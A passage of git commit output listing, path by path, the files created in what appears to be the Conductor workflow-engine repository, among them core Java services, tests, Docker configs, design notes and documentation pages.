core/src/main/java/com/netflix/conductor/core/secrets/NoopSecretsDAO.java create mode 100644 core/src/main/java/com/netflix/conductor/core/secrets/RuntimeMetadataResolver.java create mode 100644 core/src/main/java/com/netflix/conductor/core/storage/DummyPayloadStorage.java create mode 100644 core/src/main/java/com/netflix/conductor/core/sync/Lock.java create mode 100644 core/src/main/java/com/netflix/conductor/core/sync/local/LocalOnlyLock.java create mode 100644 core/src/main/java/com/netflix/conductor/core/sync/local/LocalOnlyLockConfiguration.java create mode 100644 core/src/main/java/com/netflix/conductor/core/sync/noop/NoopLock.java create mode 100644 core/src/main/java/com/netflix/conductor/core/utils/DateTimeUtils.java create mode 100644 core/src/main/java/com/netflix/conductor/core/utils/ExternalPayloadStorageUtils.java create mode 100644 core/src/main/java/com/netflix/conductor/core/utils/IDGenerator.java create mode 100644 core/src/main/java/com/netflix/conductor/core/utils/JsonUtils.java create mode 100644 core/src/main/java/com/netflix/conductor/core/utils/ParametersUtils.java create mode 100644 core/src/main/java/com/netflix/conductor/core/utils/QueueUtils.java create mode 100644 core/src/main/java/com/netflix/conductor/core/utils/SemaphoreUtil.java create mode 100644 core/src/main/java/com/netflix/conductor/core/utils/Utils.java create mode 100644 core/src/main/java/com/netflix/conductor/dao/ConcurrentExecutionLimitDAO.java create mode 100644 core/src/main/java/com/netflix/conductor/dao/EnvironmentDAO.java create mode 100644 core/src/main/java/com/netflix/conductor/dao/EventHandlerDAO.java create mode 100644 core/src/main/java/com/netflix/conductor/dao/ExecutionDAO.java create mode 100644 core/src/main/java/com/netflix/conductor/dao/IndexDAO.java create mode 100644 core/src/main/java/com/netflix/conductor/dao/MetadataDAO.java create mode 100644 core/src/main/java/com/netflix/conductor/dao/PollDataDAO.java create mode 100644 core/src/main/java/com/netflix/conductor/dao/QueueDAO.java create mode 100644 core/src/main/java/com/netflix/conductor/dao/RateLimitingDAO.java create mode 100644 core/src/main/java/com/netflix/conductor/dao/SecretsDAO.java create mode 100644 core/src/main/java/com/netflix/conductor/dao/WorkflowMessageQueueDAO.java create mode 100644 core/src/main/java/com/netflix/conductor/metrics/MetricsCollector.java create mode 100644 core/src/main/java/com/netflix/conductor/metrics/Monitors.java create mode 100644 core/src/main/java/com/netflix/conductor/metrics/WorkflowMonitor.java create mode 100644 core/src/main/java/com/netflix/conductor/model/TaskModel.java create mode 100644 core/src/main/java/com/netflix/conductor/model/WorkflowModel.java create mode 100644 core/src/main/java/com/netflix/conductor/model/WorkflowNotifications.java create mode 100644 core/src/main/java/com/netflix/conductor/sdk/workflow/task/InputParam.java create mode 100644 core/src/main/java/com/netflix/conductor/sdk/workflow/task/OutputParam.java create mode 100644 core/src/main/java/com/netflix/conductor/sdk/workflow/task/WorkerTask.java create mode 100644 core/src/main/java/com/netflix/conductor/service/AdminService.java create mode 100644 core/src/main/java/com/netflix/conductor/service/AdminServiceImpl.java create mode 100644 core/src/main/java/com/netflix/conductor/service/EventService.java create mode 100644 core/src/main/java/com/netflix/conductor/service/EventServiceImpl.java create mode 100644 core/src/main/java/com/netflix/conductor/service/ExecutionLockService.java create mode 100644 core/src/main/java/com/netflix/conductor/service/ExecutionService.java create mode 100644 core/src/main/java/com/netflix/conductor/service/MetadataService.java create mode 100644 core/src/main/java/com/netflix/conductor/service/MetadataServiceImpl.java create mode 100644 core/src/main/java/com/netflix/conductor/service/TaskService.java create mode 100644 core/src/main/java/com/netflix/conductor/service/TaskServiceImpl.java create mode 100644 core/src/main/java/com/netflix/conductor/service/VersionService.java create mode 100644 core/src/main/java/com/netflix/conductor/service/WorkflowBulkService.java create mode 100644 core/src/main/java/com/netflix/conductor/service/WorkflowBulkServiceImpl.java create mode 100644 core/src/main/java/com/netflix/conductor/service/WorkflowService.java create mode 100644 core/src/main/java/com/netflix/conductor/service/WorkflowServiceImpl.java create mode 100644 core/src/main/java/com/netflix/conductor/service/WorkflowTestService.java create mode 100644 core/src/main/java/com/netflix/conductor/validations/ValidationContext.java create mode 100644 core/src/main/java/com/netflix/conductor/validations/WorkflowTaskTypeConstraint.java create mode 100644 core/src/main/java/org/conductoross/conductor/core/exception/FileStorageException.java create mode 100644 core/src/main/java/org/conductoross/conductor/core/execution/ExecutorUtils.java create mode 100644 core/src/main/java/org/conductoross/conductor/core/execution/SweeperProperties.java create mode 100644 core/src/main/java/org/conductoross/conductor/core/execution/WorkflowSweeper.java create mode 100644 core/src/main/java/org/conductoross/conductor/core/execution/mapper/AnnotatedSystemTaskMapper.java create mode 100644 core/src/main/java/org/conductoross/conductor/core/execution/mapper/TaskMapperValidator.java create mode 100644 core/src/main/java/org/conductoross/conductor/core/execution/tasks/annotated/AnnotatedMethodParameterMapper.java create mode 100644 core/src/main/java/org/conductoross/conductor/core/execution/tasks/annotated/AnnotatedMethodResultMapper.java create mode 100644 core/src/main/java/org/conductoross/conductor/core/execution/tasks/annotated/AnnotatedWorkflowSystemTask.java create mode 100644 core/src/main/java/org/conductoross/conductor/core/execution/tasks/annotated/SampleWorkers.java create mode 100644 core/src/main/java/org/conductoross/conductor/core/execution/tasks/annotated/WorkerTaskAnnotationScanner.java create mode 100644 core/src/main/java/org/conductoross/conductor/core/listener/MetadataChangeListener.java create mode 100644 core/src/main/java/org/conductoross/conductor/core/listener/MetadataChangeListenerStub.java create mode 100644 core/src/main/java/org/conductoross/conductor/core/storage/FileStorage.java create mode 100644 core/src/main/java/org/conductoross/conductor/core/storage/FileStorageProperties.java create mode 100644 core/src/main/java/org/conductoross/conductor/core/storage/FileStorageService.java create mode 100644 core/src/main/java/org/conductoross/conductor/core/storage/FileStorageServiceImpl.java create mode 100644 core/src/main/java/org/conductoross/conductor/core/storage/StorageFileInfo.java create mode 100644 core/src/main/java/org/conductoross/conductor/core/storage/WorkflowFamilyResolver.java create mode 100644 core/src/main/java/org/conductoross/conductor/core/storage/WorkflowFamilyResolverImpl.java create mode 100644 core/src/main/java/org/conductoross/conductor/core/storage/converter/FileModelConverter.java create mode 100644 core/src/main/java/org/conductoross/conductor/dao/FileMetadataDAO.java create mode 100644 core/src/main/java/org/conductoross/conductor/dao/SkillMetadataDAO.java create mode 100644 core/src/main/java/org/conductoross/conductor/dao/SkillPackageDAO.java create mode 100644 core/src/main/java/org/conductoross/conductor/model/FileModel.java create mode 100644 core/src/main/resources/META-INF/additional-spring-configuration-metadata.json create mode 100644 core/src/main/resources/META-INF/validation.xml create mode 100644 core/src/main/resources/META-INF/validation/constraints.xml create mode 100644 core/src/test/groovy/com/netflix/conductor/core/execution/AsyncSystemTaskExecutorTest.groovy create mode 100644 core/src/test/groovy/com/netflix/conductor/core/execution/tasks/DoWhileSpec.groovy create mode 100644 core/src/test/groovy/com/netflix/conductor/core/execution/tasks/EventSpec.groovy create mode 100644 core/src/test/groovy/com/netflix/conductor/core/execution/tasks/IsolatedTaskQueueProducerSpec.groovy create mode 100644 core/src/test/groovy/com/netflix/conductor/core/execution/tasks/StartWorkflowSpec.groovy create mode 100644 core/src/test/groovy/com/netflix/conductor/model/TaskModelSpec.groovy create mode 100644 core/src/test/groovy/com/netflix/conductor/model/WorkflowModelSpec.groovy create mode 100644 core/src/test/java/com/netflix/conductor/TestUtils.java create mode 100644 core/src/test/java/com/netflix/conductor/benchmark/BenchmarkScripts.java create mode 100644 core/src/test/java/com/netflix/conductor/benchmark/ScriptEngineBenchmark.java create mode 100644 core/src/test/java/com/netflix/conductor/core/dal/ExecutionDAOFacadeTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/env/EnvVariableEnvironmentDAOTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/env/NoopEnvironmentDAOTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/events/MockObservableQueue.java create mode 100644 core/src/test/java/com/netflix/conductor/core/events/MockQueueProvider.java create mode 100644 core/src/test/java/com/netflix/conductor/core/events/TestDefaultEventProcessor.java create mode 100644 core/src/test/java/com/netflix/conductor/core/events/TestGraalJSFeatures.java create mode 100644 core/src/test/java/com/netflix/conductor/core/events/TestScriptEval.java create mode 100644 core/src/test/java/com/netflix/conductor/core/events/TestSimpleActionProcessor.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/NotificationResultTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/TestDeciderOutcomes.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/TestDeciderService.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/TestWorkflowDef.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/TestWorkflowExecutor.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/TestWorkflowExecutorDecideLoop.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/WorkflowSystemTaskStub.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/evaluators/GraalJSEvaluatorTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/evaluators/JavascriptEvaluatorTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/mapper/DecisionTaskMapperTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/mapper/DoWhileTaskMapperTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/mapper/DynamicTaskMapperTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/mapper/EventTaskMapperTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/mapper/ForkJoinDynamicTaskMapperTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/mapper/ForkJoinTaskMapperTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/mapper/HTTPTaskMapperTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/mapper/HumanTaskMapperTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/mapper/InlineTaskMapperTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/mapper/JoinTaskMapperTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/mapper/JsonJQTransformTaskMapperTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/mapper/KafkaPublishTaskMapperTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/mapper/LambdaTaskMapperTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/mapper/NoopTaskMapperTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/mapper/SetVariableTaskMapperTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/mapper/SimpleTaskMapperTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/mapper/SubWorkflowTaskMapperTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/mapper/SwitchTaskMapperTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/mapper/TerminateTaskMapperTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/mapper/UserDefinedTaskMapperTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/mapper/WaitTaskMapperTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/tasks/DoWhileIntegrationTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/tasks/DoWhileTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/tasks/EventQueueResolutionTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/tasks/InlineTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/tasks/JoinTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/tasks/PullWorkflowMessagesTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/tasks/TestJoin.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/tasks/TestLambda.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/tasks/TestNoop.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/tasks/TestSubWorkflow.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/tasks/TestSystemTaskWorker.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/tasks/TestSystemTaskWorkerCoordinator.java create mode 100644 core/src/test/java/com/netflix/conductor/core/execution/tasks/TestTerminate.java create mode 100644 core/src/test/java/com/netflix/conductor/core/listener/TaskStatusListenerTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/metadata/MetadataMapperServiceTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/reconciliation/TestWorkflowRepairService.java create mode 100644 core/src/test/java/com/netflix/conductor/core/reconciliation/TestWorkflowSweeper.java create mode 100644 core/src/test/java/com/netflix/conductor/core/secrets/EnvVariableSecretsDAOTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/secrets/NoopSecretsDAOTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/secrets/RuntimeMetadataResolverTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/storage/DummyPayloadStorageTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/sync/local/LocalOnlyLockTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/utils/DateTimeUtilsTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/utils/ExternalPayloadStorageUtilsTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/utils/IDGeneratorTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/utils/JsonUtilsTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/utils/ParametersUtilsTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/utils/QueueUtilsTest.java create mode 100644 core/src/test/java/com/netflix/conductor/core/utils/SemaphoreUtilTest.java create mode 100644 core/src/test/java/com/netflix/conductor/dao/ExecutionDAOTest.java create mode 100644 core/src/test/java/com/netflix/conductor/dao/PollDataDAOTest.java create mode 100644 core/src/test/java/com/netflix/conductor/metrics/MetricsCollectorTest.java create mode 100644 core/src/test/java/com/netflix/conductor/metrics/MonitorsTest.java create mode 100644 core/src/test/java/com/netflix/conductor/metrics/WorkflowMonitorTest.java create mode 100644 core/src/test/java/com/netflix/conductor/service/EventServiceTest.java create mode 100644 core/src/test/java/com/netflix/conductor/service/ExecutionServiceTest.java create mode 100644 core/src/test/java/com/netflix/conductor/service/MetadataServiceTest.java create mode 100644 core/src/test/java/com/netflix/conductor/service/TaskServiceTest.java create mode 100644 core/src/test/java/com/netflix/conductor/service/WorkflowBulkServiceTest.java create mode 100644 core/src/test/java/com/netflix/conductor/service/WorkflowServiceTest.java create mode 100644 core/src/test/java/com/netflix/conductor/validations/WorkflowDefConstraintTest.java create mode 100644 core/src/test/java/com/netflix/conductor/validations/WorkflowTaskTypeConstraintTest.java create mode 100644 core/src/test/java/org/conductoross/conductor/core/execution/ExecutorUtilsTest.java create mode 100644 core/src/test/java/org/conductoross/conductor/core/execution/WorkflowSweeperTest.java create mode 100644 core/src/test/java/org/conductoross/conductor/core/execution/tasks/annotated/TestAnnotatedMethodParameterMapper.java create mode 100644 core/src/test/java/org/conductoross/conductor/core/execution/tasks/annotated/TestAnnotatedMethodResultMapper.java create mode 100644 core/src/test/java/org/conductoross/conductor/core/execution/tasks/annotated/TestAnnotatedSystemTaskIntegration.java create mode 100644 core/src/test/java/org/conductoross/conductor/core/execution/tasks/annotated/TestAnnotatedWorkflowSystemTask.java create mode 100644 core/src/test/java/org/conductoross/conductor/core/execution/tasks/annotated/TestTaskContext.java create mode 100644 core/src/test/java/org/conductoross/conductor/core/storage/FileStorageServiceImplTest.java create mode 100644 core/src/test/java/org/conductoross/conductor/core/storage/StubFileMetadataDAO.java create mode 100644 core/src/test/java/org/conductoross/conductor/core/storage/StubFileStorage.java create mode 100644 core/src/test/java/org/conductoross/conductor/core/storage/StubWorkflowFamilyResolver.java create mode 100644 core/src/test/java/org/conductoross/conductor/core/storage/WorkflowFamilyResolverTest.java create mode 100644 core/src/test/java/org/conductoross/conductor/core/storage/converter/FileModelConverterTest.java create mode 100644 core/src/test/resources/completed.json create mode 100644 core/src/test/resources/conditional_flow.json create mode 100644 core/src/test/resources/conditional_flow_with_switch.json create mode 100644 core/src/test/resources/payload.json create mode 100644 core/src/test/resources/test.json create mode 100644 dependencies.gradle create mode 100644 deploy.gradle create mode 100644 design/a2a/01-overview-and-motivation.md create mode 100644 design/a2a/02-a2a-vs-mcp.md create mode 100644 design/a2a/03-data-model.md create mode 100644 design/a2a/04-protocol-mechanics.md create mode 100644 design/a2a/05-security.md create mode 100644 design/a2a/06-versioning.md create mode 100644 design/a2a/07-ecosystem-and-samples.md create mode 100644 design/a2a/08-conductor-implications.md create mode 100644 design/a2a/09-durable-a2a.md create mode 100644 design/a2a/10-a2a-server.md create mode 100644 design/a2a/README.md create mode 100644 design/runtime-metadata.md create mode 100644 docker/README.md create mode 100644 docker/ci/Dockerfile create mode 100644 docker/conductor-standalone-deprecation/Dockerfile create mode 100644 docker/conductor-standalone-deprecation/dockerhub-description.md create mode 100644 docker/docker-compose-cassandra-es7.yaml create mode 100644 docker/docker-compose-es8.yaml create mode 100644 docker/docker-compose-mysql.yaml create mode 100644 docker/docker-compose-port-override.yaml create mode 100644 docker/docker-compose-postgres-e2e.yaml create mode 100644 docker/docker-compose-postgres-es7.yaml create mode 100644 docker/docker-compose-postgres.yaml create mode 100644 docker/docker-compose-redis-os.yaml create mode 100644 docker/docker-compose-redis-os2.yaml create mode 100644 docker/docker-compose-redis-os3.yaml create mode 100644 docker/docker-compose-ui-e2e.yaml create mode 100644 docker/docker-compose.yaml create mode 100644 docker/server/Dockerfile create mode 100644 docker/server/Dockerfile.next create mode 100644 docker/server/config/config-cassandra-es7.properties create mode 100755 docker/server/config/config-mysql.properties create mode 100755 docker/server/config/config-postgres-es7.properties create mode 100755 docker/server/config/config-postgres.properties create mode 100755 docker/server/config/config-redis-es8.properties create mode 100644 docker/server/config/config-redis-os.properties create mode 100644 docker/server/config/config-redis-os2.properties create mode 100644 docker/server/config/config-redis-os3.properties create mode 100755 docker/server/config/config-redis.properties create mode 100755 docker/server/config/config.properties create mode 100644 docker/server/config/log4j-file-appender.properties create mode 100644 docker/server/config/log4j.properties create mode 100644 docker/server/config/redis.conf create mode 100644 docker/server/libs/.gitignore create mode 100644 docker/server/nginx/nginx.conf create mode 100644 docker/ui/Dockerfile create mode 100644 docker/ui/README.md create mode 100644 docs/architecture/durable-execution.md create mode 100644 docs/architecture/json-native.md create mode 100644 docs/assets/images/favicon.png create mode 100644 docs/css/custom.css create mode 100644 docs/design/2026-07-09-lock-contention-decider-requeue.md create mode 100644 docs/devguide/ai/a2a-integration.md create mode 100644 docs/devguide/ai/durable-agents.md create mode 100644 docs/devguide/ai/dynamic-workflows.md create mode 100644 docs/devguide/ai/failure-semantics.md create mode 100644 docs/devguide/ai/first-ai-agent.md create mode 100644 docs/devguide/ai/human-in-the-loop.md create mode 100644 docs/devguide/ai/index.md create mode 100644 docs/devguide/ai/llm-orchestration.md create mode 100644 docs/devguide/ai/mcp-guide.md create mode 100644 docs/devguide/ai/production-agent-architecture.md create mode 100644 docs/devguide/ai/token-efficiency.md create mode 100644 docs/devguide/ai/why-conductor.md create mode 100644 docs/devguide/architecture/PollTimeoutSeconds.png create mode 100644 docs/devguide/architecture/ResponseTimeoutSeconds.png create mode 100644 docs/devguide/architecture/TaskFailure.png create mode 100644 docs/devguide/architecture/TimeoutSeconds.png create mode 100644 docs/devguide/architecture/conductor-architecture.png create mode 100644 docs/devguide/architecture/dag_workflow.png create mode 100644 docs/devguide/architecture/dag_workflow2.png create mode 100644 docs/devguide/architecture/directed-acyclic-graph.md create mode 100644 docs/devguide/architecture/directed_graph.png create mode 100644 docs/devguide/architecture/index.md create mode 100644 docs/devguide/architecture/overview.png create mode 100644 docs/devguide/architecture/pirate_graph.gif create mode 100644 docs/devguide/architecture/regular_graph.png create mode 100644 docs/devguide/architecture/task_states.png create mode 100644 docs/devguide/architecture/tasklifecycle.md create mode 100644 docs/devguide/bestpractices.md create mode 100644 docs/devguide/concepts/conductor.md create mode 100644 docs/devguide/concepts/index.md create mode 100644 docs/devguide/concepts/tasks.md create mode 100644 docs/devguide/concepts/workers.md create mode 100644 docs/devguide/concepts/workflows.md create mode 100644 docs/devguide/cookbook/ai-llm.md create mode 100644 docs/devguide/cookbook/dynamic-parallelism.md create mode 100644 docs/devguide/cookbook/dynamic-workflows.md create mode 100644 docs/devguide/cookbook/event-driven.md create mode 100644 docs/devguide/cookbook/files-api-usecase.md create mode 100644 docs/devguide/cookbook/index.md create mode 100644 docs/devguide/cookbook/microservice-orchestration.md create mode 100644 docs/devguide/cookbook/task-timeouts-and-retries.md create mode 100644 docs/devguide/cookbook/wait-and-timers.md create mode 100644 docs/devguide/cookbook/workflow-scheduling.md create mode 100644 docs/devguide/faq.md create mode 100644 docs/devguide/how-tos/Tasks/choosing-tasks.md create mode 100644 docs/devguide/how-tos/Tasks/creating-tasks.md create mode 100644 docs/devguide/how-tos/Tasks/task-inputs.md create mode 100644 docs/devguide/how-tos/Workers/scaling-workers.md create mode 100644 docs/devguide/how-tos/Workflows/creating-workflows.md create mode 100644 docs/devguide/how-tos/Workflows/debugging-workflows.md create mode 100644 docs/devguide/how-tos/Workflows/execution_path.png create mode 100644 docs/devguide/how-tos/Workflows/handling-errors.md create mode 100644 docs/devguide/how-tos/Workflows/restarting-workflows-at-runtime.jpg create mode 100644 docs/devguide/how-tos/Workflows/scheduling-workflows.md create mode 100644 docs/devguide/how-tos/Workflows/searching-workflows.md create mode 100644 docs/devguide/how-tos/Workflows/starting-workflows.md create mode 100644 docs/devguide/how-tos/Workflows/versioning-workflows.md create mode 100644 docs/devguide/how-tos/Workflows/viewing-workflow-executions.md create mode 100644 docs/devguide/how-tos/Workflows/workflow-task-states.jpg create mode 100644 docs/devguide/how-tos/Workflows/workflow-versioning-at-runtime.jpg create mode 100644 docs/devguide/how-tos/Workflows/workflow_debugging.png create mode 100644 docs/devguide/how-tos/conductor-skills.md create mode 100644 docs/devguide/how-tos/event-bus.md create mode 100644 docs/devguide/labs/eventhandlers.md create mode 100644 docs/devguide/labs/first-workflow.md create mode 100644 docs/devguide/labs/img/EventHandlerCycle.png create mode 100644 docs/devguide/labs/img/bgnr_complete_workflow.png create mode 100644 docs/devguide/labs/img/bgnr_state_scheduled.png create mode 100644 docs/devguide/labs/img/bgnr_systask_state.png create mode 100644 docs/devguide/labs/index.md create mode 100644 docs/devguide/labs/kitchensink.md create mode 100644 docs/devguide/labs/kitchensink.png create mode 100644 docs/devguide/labs/metadataWorkflowPost.png create mode 100644 docs/devguide/labs/metadataWorkflowRun.png create mode 100644 docs/devguide/labs/uiWorkflowDefinition.png create mode 100644 docs/devguide/labs/uiWorkflowDefinitionVisual.png create mode 100644 docs/devguide/labs/workflowLoaded.png create mode 100644 docs/devguide/labs/workflowRunIdCopy.png create mode 100644 docs/devguide/running/conductorUI.png create mode 100644 docs/devguide/running/deploy.md create mode 100644 docs/devguide/running/hosted.md create mode 100644 docs/devguide/running/source.md create mode 100644 docs/devguide/running/swagger.png create mode 100644 docs/documentation/advanced/annotation-processor.md create mode 100644 docs/documentation/advanced/archival-of-workflows.md create mode 100644 docs/documentation/advanced/extend.md create mode 100644 docs/documentation/advanced/externalpayloadstorage.md create mode 100644 docs/documentation/advanced/file-storage.md create mode 100644 docs/documentation/advanced/isolationgroups.md create mode 100644 docs/documentation/advanced/opensearch.md create mode 100644 docs/documentation/advanced/postgresql.md create mode 100644 docs/documentation/advanced/redis.md create mode 100644 docs/documentation/api/bulk.md create mode 100644 docs/documentation/api/eventhandlers.md create mode 100644 docs/documentation/api/files.md create mode 100644 docs/documentation/api/index.md create mode 100644 docs/documentation/api/metadata.md create mode 100644 docs/documentation/api/scheduler.md create mode 100644 docs/documentation/api/startworkflow.md create mode 100644 docs/documentation/api/task.md create mode 100644 docs/documentation/api/taskdomains.md create mode 100644 docs/documentation/api/workflow.md create mode 100644 docs/documentation/clientsdks/csharp-sdk.md create mode 100644 docs/documentation/clientsdks/go-sdk.md create mode 100644 docs/documentation/clientsdks/index.md create mode 100644 docs/documentation/clientsdks/java-sdk.md create mode 100644 docs/documentation/clientsdks/js-sdk.md create mode 100644 docs/documentation/clientsdks/python-sdk.md create mode 100644 docs/documentation/clientsdks/ruby-sdk.md create mode 100644 docs/documentation/clientsdks/rust-sdk.md create mode 100644 docs/documentation/configuration/appconf.md create mode 100644 docs/documentation/configuration/eventhandlers.md create mode 100644 docs/documentation/configuration/taskdef.md create mode 100644 docs/documentation/configuration/workflowdef/index.md create mode 100644 docs/documentation/configuration/workflowdef/operators/ShippingWorkflow.png create mode 100644 docs/documentation/configuration/workflowdef/operators/ShippingWorkflowRunning.png create mode 100644 docs/documentation/configuration/workflowdef/operators/ShippingWorkflowUPS.png create mode 100644 docs/documentation/configuration/workflowdef/operators/Switch_Fedex.png create mode 100644 docs/documentation/configuration/workflowdef/operators/Terminate_Task.png create mode 100644 docs/documentation/configuration/workflowdef/operators/do-while-task.md create mode 100644 docs/documentation/configuration/workflowdef/operators/dynamic-fork-task.md create mode 100644 docs/documentation/configuration/workflowdef/operators/dynamic-task-diagram.png create mode 100644 docs/documentation/configuration/workflowdef/operators/dynamic-task.md create mode 100644 docs/documentation/configuration/workflowdef/operators/fork-task-diagram.png create mode 100644 docs/documentation/configuration/workflowdef/operators/fork-task.md create mode 100644 docs/documentation/configuration/workflowdef/operators/index.md create mode 100644 docs/documentation/configuration/workflowdef/operators/join-task.md create mode 100644 docs/documentation/configuration/workflowdef/operators/set-variable-task.md create mode 100644 docs/documentation/configuration/workflowdef/operators/start-workflow-task.md create mode 100644 docs/documentation/configuration/workflowdef/operators/sub-workflow-task.md create mode 100644 docs/documentation/configuration/workflowdef/operators/subworkflow_diagram.png create mode 100644 docs/documentation/configuration/workflowdef/operators/switch-task.md create mode 100644 docs/documentation/configuration/workflowdef/operators/terminate-task.md create mode 100644 docs/documentation/configuration/workflowdef/operators/workflow_fork.png create mode 100644 docs/documentation/configuration/workflowdef/systemtasks/event-task.md create mode 100644 docs/documentation/configuration/workflowdef/systemtasks/http-task.md create mode 100644 docs/documentation/configuration/workflowdef/systemtasks/human-task.md create mode 100644 docs/documentation/configuration/workflowdef/systemtasks/index.md create mode 100644 docs/documentation/configuration/workflowdef/systemtasks/inline-task.md create mode 100644 docs/documentation/configuration/workflowdef/systemtasks/jdbc-task.md create mode 100644 docs/documentation/configuration/workflowdef/systemtasks/json-jq-transform-task.md create mode 100644 docs/documentation/configuration/workflowdef/systemtasks/kafka-publish-task.md create mode 100644 docs/documentation/configuration/workflowdef/systemtasks/noop-task.md create mode 100644 docs/documentation/configuration/workflowdef/systemtasks/wait-task.md create mode 100644 docs/documentation/metrics/client.md create mode 100644 docs/documentation/metrics/server.md create mode 100644 docs/home/devex.png create mode 100644 docs/home/icons/brackets.svg create mode 100644 docs/home/icons/conductor.svg create mode 100644 docs/home/icons/modular.svg create mode 100644 docs/home/icons/network.svg create mode 100644 docs/home/icons/osi.svg create mode 100644 docs/home/icons/server.svg create mode 100644 docs/home/icons/shield.svg create mode 100644 docs/home/icons/wrench.svg create mode 100644 docs/home/redirect.html create mode 100644 docs/home/timeline.png create mode 100644 docs/home/workflow.svg create mode 100644 docs/img/logo.svg create mode 100644 docs/img/og-conductor.png create mode 100644 docs/index.html create mode 100644 docs/index.md create mode 100644 docs/overrides/404.html create mode 100644 docs/overrides/main.html create mode 100644 docs/overrides/partials/logo.html create mode 100644 docs/quickstart/index.md create mode 100644 docs/quickstart/workflow.json create mode 100644 docs/resources/contributing.md create mode 100644 docs/resources/license.md create mode 100644 docs/resources/related.md create mode 100644 docs/robots.txt create mode 100644 docs/wmq/wmq_echo_loop.json create mode 100644 docs/wmq/workflow-message-queue-architecture.md create mode 100644 docs/wmq/workflow-message-queue.md create mode 100644 e2e/README.md create mode 100644 e2e/build.gradle create mode 100644 e2e/docker/config/config-redis.properties create mode 100755 e2e/run_tests-cassandra-es7.sh create mode 100755 e2e/run_tests-es8.sh create mode 100755 e2e/run_tests-mysql.sh create mode 100755 e2e/run_tests-postgres-es7.sh create mode 100755 e2e/run_tests-postgres.sh create mode 100755 e2e/run_tests-redis-es7.sh create mode 100755 e2e/run_tests-redis-os2.sh create mode 100755 e2e/run_tests-redis-os3.sh create mode 100755 e2e/run_tests.sh create mode 100644 e2e/src/test/java/io/conductor/e2e/control/DoWhileEdgeCasesTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/control/DoWhileTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/control/DoWhileWithDomainTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/control/DynamicForkTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/control/SubWorkflowInlineTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/control/SubWorkflowScheduledRaceTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/control/SubWorkflowTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/control/SubWorkflowTimeoutRetryTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/control/SubWorkflowVersionTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/control/SwitchTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/filestorage/FileStorageE2ETest.java create mode 100644 e2e/src/test/java/io/conductor/e2e/metadata/EventClientTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/metadata/MetadataClientTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/processing/GraaljsTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/processing/JSONJQTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/processing/SetVariableTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/task/BackoffTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/task/ConcurrentExecLimitTests.java create mode 100644 e2e/src/test/java/io/conductor/e2e/task/ContextPropagationTest.java create mode 100644 